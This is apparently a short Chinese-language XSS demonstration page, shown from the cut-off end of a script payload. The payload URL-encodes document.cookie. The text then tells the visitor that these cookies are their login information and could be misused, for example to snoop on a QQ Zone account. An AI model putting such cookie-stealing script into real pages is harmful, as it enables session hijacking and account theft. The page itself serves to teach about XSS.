' encodeURIComponent(document.cookie)</script>
上面就是我拿到的，你的cookies（登录信息），然后我就可以用这个cookies做坏事了，比如：如果是在QQ空间，就可以偷看你QQ空间信息，相片，甚至可以拿到你QQ空间的访问密码，这就是Xss！ ---- 好吧，我懂了，我可以走了 ---> [点此返回]